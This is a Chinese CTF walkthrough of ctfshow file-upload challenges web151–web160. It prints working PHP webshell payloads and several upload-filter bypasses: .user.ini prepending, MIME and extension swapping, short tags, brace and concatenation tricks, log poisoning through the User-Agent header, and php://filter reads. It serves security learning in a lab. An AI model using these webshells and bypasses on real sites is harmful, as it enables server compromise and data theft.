ctfshow-web入门-文件上传(web151-web160)

news2024/12/24 3:06:19

目录

1、web151

2、web152

3、web153

4、web154

5、web155

6、web156

7、web157

8、web158

9、web159

10、web160


1、web151

试了下前端只能传 png 后缀的

将一句话木马改成 png 后缀,上传后用 burpsuite 抓包

绕过前端检测后,改回 php 后缀,发包

调用:

/upload/eval.php?cmd=system('ls');

发现 flag 在上一层目录:

/upload/eval.php?cmd=system('ls ../');

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{e3bd0332-4d5f-4255-941f-a2e6095c4f17}

我们还可以直接改它前端验证的代码:

原本只支持上传 png 后缀的文件

我们加一个 php 后缀进去,即可直接上传 php 后缀的文件

2、web152

同样前端只能传 png

但是只改前端代码是不行的,说明后端还有检测

传 png 后缀的木马,使用 burpsuite 抓包,改回 php 后缀发包即可,这里后端检测的就是这个 Content-Type(MIME类型),因为我们本身一开始就是传的 png 后缀,所以这里不需要改,就是 image/png 类型,如果你一开始传的 php 后缀,则需要改这个 Content-Type 为图片类型。

调用:

/upload/eval.php?cmd=system('ls ../');

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{e9f076b9-738c-457a-a97d-9118043a5170}

3、web153

按照上一题的方法,回显 unicode 编码:文件类型不合规

换方法:上传配置文件 .htaccess 或者 .user.ini

这个是文件上传很常规的操作,这两个配置文件都可以让其它类型的文件被当做 php 文件进行解析,具体哪个能用,取决于题目环境的实际情况。

先测试 .user.ini

内容为:

GIF89a
auto_prepend_file=eval.png

为了绕过前段验证,我们也需要先改为 png 后缀,再用 burpsuite 抓包改回来:

上传成功

之后传入 eval.png,直接传即可

我之前做过的题都是去连 /upload/eval.png,而这道题它是要连 /upload/index.php

看其他师傅说是木马被自动包含进原来目录里的 php 文件,一般是index.php

一开始 upload 目录可以访问到,说明 upload 目录中含有 php 文件

确实在 upload 目录下可以调用到 eval.png 

拿到 flag:ctfshow{84684dac-a254-4430-82a8-084d2d3c3168}

4、web154

试了下 .htaccess ,发现不行,那就继续传 .user.ini

传 eval.png,发现被检测,因该是对文件内容进行了检测

这里检测的是 php,使用大小写绕过一下

上传成功

调用:

/upload/?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{8fcedb5b-b320-49ae-a24a-367bc2bc30b4}

5、web155

同样先传 .user.ini

但是在传 eval.png 时又遇到了问题,说明新增了其他过滤 

测了一下这里过滤的还是 php 但是不区分大小写,可以采用短标签绕过:

<?= @eval($_REQUEST["cmd"]) ?>

 

ctfshow{b2012b6b-2fc3-4d0c-8c47-1b39218f6e4c}

6、web156

先传 .user.ini

肯定会新增其他的过滤,我们先对文件内容做一下 fuzz 测试

写了个 python 小脚本用来生成我们模糊测试的字典:

# 输入一串字符
input_string = input("请输入一串字符:")

# 将字符拆分成单个字符,并添加换行符
split_characters = "\n".join(input_string)

# 将结果写入 fuzz.txt 文件
with open("fuzz.txt", "w") as file:
    file.write(split_characters)

print("字符已拆分并写入 fuzz.txt 文件")

得到字典: 

选择测试位置: 

可以看出来是新增过滤中括号:[ 

实际还过滤了分号,只是短标签中可以省略,因此我没有用到。

我们使用 {} 代替:

<?= @eval($_REQUEST{"cmd"}) ?>

上传成功 

ctfshow{0b3821a9-ccf0-47a8-952d-cbf300a148e0}

7、web157

先传 .user.ini

继续在上一题 payload 的基础上进行模糊测试:

发现新增过滤大括号:{

因此我们一句话木马就不好写了,但是我们可以直接传入恶意的 php 代码,直接去执行读取它 flag 的命令:

<? system('tac ../f*') ?>

上传成功

访问 upload 目录:

拿到 flag:ctfshow{7a953bed-eed4-4ec9-ae3a-2371c9199ac8} 

那么,有没有能使用的一句话木马呢?不使用到中括号和大括号。

当然是有的:利用 array 数组

<?=
array_map("assert",$_REQUEST)
?>

调用:

/upload/?assert=system('tac ../flag.php');

此外应该是还有其他类型的一句话木马的,这里就不做演示了各位自己去研究和发现。

8、web158

先传配置文件

直接传上一题的 array.png,发现可以上传成功

调用:

/upload/?assert=system('tac ../flag.php');

ctfshow{a32b7333-2619-47ca-9ba6-16df22bda293}

我们看一下 upload.php :

preg_match('/php|\{|\[|\;|log/i', $str);

这里新增过滤了 log,为什么要过滤 log?

其实从上一题开始已经涉及到了一个东西,就是日志文件包含。

还是先传 .user.ini (这里针对的是 1.png,避免受前面操作影响建议重启环境进行测试)

我们包含日志文件看一下是什么:

这道题新增过滤了 log,我们使用点进行拼接绕过

<?=include '/var/l'.'og/nginx/access.l'.'og'?>

上传 1.png

访问 upload 目录,发现内容为 user-agent 的内容,也就是说我们日志文件包含成功

接下来我们就可以进行 ua 头注入:

插入恶意代码或者一句话木马

再次访问 upload :

成功回显 flag

9、web159

还是先上配置文件

fuzz 测试:

这次把括号也过滤了,也就是说不能直接使用函数了

上一题的日志文件包含是可以继续使用的,这里不再演示

此外还有一种方法就是使用反引号进行命令执行:

<?=`tac ../f*`?>

上传成功:

访问 upload 目录:

拿到 flag:ctfshow{44ba6e5c-4398-40ef-beec-229b460e23f5}

10、web160

先做模糊测试:

新增过滤空格和反引号

日志文件包含进行 ua头注入也是可行的

这里再说另一种方法,使用 php 伪协议读取:

先上配置文件

接着传 2.png ,使用 php://filter 读取 flag.php 的源码,注意使用拼接绕过关键字的过滤。

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

上传成功

访问 upload 

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3szZWIxY2MyMy05YmRmLTQ4NzYtOWU0Ny0xYTg2ZjA3NzBmMmJ9Ijs

解码得到 flag:

ctfshow{3eb1cc23-9bdf-4876-9e47-1a86f0770f2b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1905975.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python28-9 XGBoost算法

XGBoost&#xff08;eXtreme Gradient Boosting&#xff0c;其正确拼写应该是 "Extreme Gradient Boosting"&#xff0c;而XGBoost 的作者在命名时故意使用了不规范的拼写&#xff0c;将“eXtreme”中的“X”大写&#xff0c;以突出其极限性能和效率&#xff09;是一…

【测试】系统压力测试报告模板(Word原件)

系统压力测试&#xff0c;简而言之&#xff0c;是在模拟高负载、高并发的环境下&#xff0c;对系统进行全面测试的过程。它旨在评估系统在面对极端使用条件时的性能表现&#xff0c;包括处理能力、响应时间、资源消耗及稳定性等关键指标。通过压力测试&#xff0c;开发团队能够…

【OJ】运行时错误(Runtime Error)导致递归爆栈问题

在进行OJ赛时&#xff0c; 题目&#xff1a;给你一个整数n&#xff0c;问最多能将其分解为多少质数的和。在第一行输出最多的质数数量k,下一行输出k个整数&#xff0c;为这些质数。 出现运行时错误 代码如下&#xff1a; def main():# code heren int(eval(input()))list …

力扣-双指针1

何为双指针 双指针指向同一数组&#xff0c;然后配合着进行搜索等活动。 滑动窗口的时候很好使用。 167.两数之和Ⅱ-输入有序数组 167. 两数之和 II - 输入有序数组 题目 给你一个下标从 1 开始的整数数组 numbers &#xff0c;该数组已按 非递减顺序排列 &#xff0c;请你从…

2024年 春秋杯 网络安全联赛夏季赛 Web方向 题解WirteUp 部分

brother 题目描述&#xff1a;web哥&#xff0c;打点容易提权难。 打点就是最简单的SSTI。 执行下find / -user root -perm -4000 -print 2>/dev/null找一下具备suid权限的命令 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/chsh /usr/bin/gpasswd /usr/bin/n…

WPF UI InkCanvas 导师演示画板 演示 笔记 画笔 识别

<Grid><InkCanvas Name"inkCanvas"/><Button Content"识别" Click"Button_Click" VerticalAlignment"Bottom"/></Grid> 引用内库 Ink ink new Ink(); private void Button_Click(object sender, RoutedEvent…

逆变器学习笔记(三)

DCDC电源芯片外围器件选型_dcdc的comp补偿-CSDN博客、 1.芯片的COMP引脚通常用于补偿网络&#xff1a; 芯片的COMP引脚通常用于补偿网络&#xff0c;在控制环路中发挥重要作用。COMP引脚接电容和电阻串联接地&#xff0c;主要是为了稳定控制环路、调整环路响应速度和滤波噪声…

LabVIEW机器视觉技术在产品质量检测中有哪些应用实例

LabVIEW的机器视觉技术在产品质量检测中有广泛的应用&#xff0c;通过图像采集、处理和分析&#xff0c;实现对产品缺陷的自动检测、尺寸测量和定位校准&#xff0c;提高生产效率和产品质量。 1. 电子元器件质量检测 在电子制造业中&#xff0c;电子元器件的质量检测是确保产品…

Java版Flink使用指南——自定义无界流生成器

大纲 新建工程自定义无界流 使用打包、提交、运行 在《Java版Flink使用指南——从RabbitMQ中队列中接入消息流》一文中&#xff0c;我们让外部组件RabbitMQ充当了无界流的数据源&#xff0c;使得Flink进行了流式处理。在《Java版Flink使用指南——将消息写入到RabbitMQ的队列中…

AntV X6 图编辑引擎速通

前言&#xff1a;参考 [AntV X6 官网](https://x6.antv.antgroup.com/) 一、简介 X6 可以快速搭建 DAG 图、ER 图、流程图、血缘图等应用。 二、快速上手 1. 安装 npm install antv/x6 --save# oryarn add antv/x6# orpnpm add antv/x6 2. 使用 2.1 初始画布 在页面中创…

利用面向AWS的Thales Sovereign解决方案保护AI之旅

亚马逊网络服务(AWS)是全球最大的云服务提供商。众所周知&#xff0c;他们致力于提供工具、解决方案和最佳实践&#xff0c;使其客户能够安全地利用AWS上的生成式人工智能 (GenAI) 工作负载。组织正在迅速使用GenAI为企业带来更高的生产力和创造力。在GenAI的几乎所有用途中&am…

Python实战项目:外星人入侵(源码分享)(文章较短,直接上代码)

✌ 作者名字&#xff1a;高峰君主 &#x1f482; 作者个人网站&#xff1a;高峰君主 - 一个数码科技爱好者 &#x1f4eb; 如果文章知识点有错误的地方&#xff0c;请指正&#xff01;和大家一起学习&#xff0c;一起进步&#x1f440; &#x1f4ac; 人生格言&#xff1a;没有…

vb.netcad二开自学笔记7:绘图命令的改进与扩展

1、在笔记6中创建了一个绘制直线的命令&#xff0c;若其他基本绘图命令都按那个写法会麻烦得要死&#xff0c;所以要总结其中的公共复用部分包封到一个统一的类中&#xff0c;这样在以后使用起来&#xff0c;特别是移植VBA代码时更方便&#xff0c;代码如下&#xff1a; Publi…

通过SimU-Net进行同时深度学习体素分类的纵向CECT扫描肝病灶变化分析| 文献速递-深度学习自动化疾病检查

Title 题目 Liver lesion changes analysis in longitudinal CECT scans by simultaneous deep learning voxel classification with SimU-Net 通过SimU-Net进行同时深度学习体素分类的纵向CECT扫描肝病灶变化分析 01 文献速递介绍 影像学随访是对影像学研究的解读&#x…

【C++高阶】深入理解红黑树:数据结构与算法之美

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f921;往期回顾&#x1f921;&#xff1a;了解 AVL 树 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀红黑树 &#x1f4d2;1. 红黑树的概…

加油站税控云平台:税务合规新标杆,引领油站高效运营

在当今数字化快速发展的时代&#xff0c;加油站行业也面临着前所未有的变革。税务管理的合规性与运营的高效性成为了加油站发展的两大核心要素。 而加油站税控云平台的出现&#xff0c;无疑为这一传统行业注入了新的活力&#xff0c;它不仅是税务合规的新标杆&#xff0c;更是…

图形编辑器基于Paper.js教程07:鼠标画直线或移动路径

探索Paper.js: 使用鼠标绘制直线和轨迹 在数字图形设计和Web应用开发中&#xff0c;提供一个直观和互动的界面供用户绘制图形是极为重要的。Paper.js是一款功能强大的JavaScript库&#xff0c;它使得在HTML5 Canvas上绘制矢量图形变得简单快捷。本文将介绍如何使用Paper.js实现…

昇思MindSpore25天学习Day19:CycleGAN图像风格迁移互换

(TOC)[CycleGAN图像风格迁移呼唤] 模型介绍 模型简介 CycleGAN(Cycle Generative Adversaial Network)即循环对抗生成网络&#xff0c;来自论文Link:Unpaired lmage-to-mage Translation using Cycle-Consistent AdvesairalNetworks该模型实现了—种在没有配对示例的情况下学…

【单片机毕业设计选题24049】-基于STM32单片机的智能手表设计

系统功能: 显示时间&#xff0c;温湿度&#xff0c;体温信息&#xff0c;播放音乐及控制红外小夜灯&#xff0c;通过蓝牙模块连接手机APP。 系统上电后OLED显示“欢迎使用智能手表系统请稍后”&#xff0c;两秒后进入正常页面显示 第一行显示获取到的当前时间 第二行显示获…

汽车数据应用构想(六)

今天接着说车辆独有的数据信息&#xff0c;对于车辆本身的故障、损耗&#xff0c;原理上都会有相应的数据特征&#xff0c;举个例子&#xff1a; 刹车对于安全无比重要&#xff0c;但刹车性能的下降却并不会引发仪表告警。一般都是保养的时候&#xff0c;工人肉眼观察一下刹车…